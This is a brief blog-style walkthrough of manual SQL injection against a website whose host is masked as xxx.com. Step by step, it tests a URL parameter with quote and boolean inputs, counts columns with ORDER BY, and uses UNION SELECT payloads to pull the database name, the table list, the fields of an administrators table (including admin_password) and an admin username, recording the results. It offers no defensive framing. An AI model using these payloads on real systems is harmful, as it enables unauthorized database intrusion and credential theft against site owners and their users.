Remember the manual SQL injection

1. The most common ', and 1=1, and 1=2 of URLs that may have an injection vulnerability detected

http://www.xxx.com/subcat.php?id=1

2. Determine the number of fields

http://www.xxx.com/subcat.php?id=1 order by 1

Find only one field
3. View the database name

http://www.xxx.com/subcat.php?id=1 union select database()

The database name is Bible_history

4. View Table name

There are: Emails,administrators,bh_addform,bh_guestbook,bho_board_bans,bho_board_forums,bho_board_posts,bho_board_ SEARCH,BHO_BOARD_TOPICS,BHO_BOARD_USERS,BIBLE_BOOK,BOOKS,CAT,CATEGORIES,CHAPTERS,CHAPTERS1,COMMENTARY_JFB, Eastons,guestbook,isbe,kingjames,kjv_verse,links,mathew,naves,naves_phrase,naves_verse,ob_book_abbreviation_ Lookup,outline_chapter

5. View the fields of a table

Fields are: Admin_id,admin_username,admin_password,admin_first_name,admin_last_name

6. View the value of a field

http://www.xxx.com/subcat.php?id=1 union select admin_username from administrators

User name: JC

Reference: https://masterxsec.github.io/2017/05/10/MySQL%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5/

Remember the manual SQL injection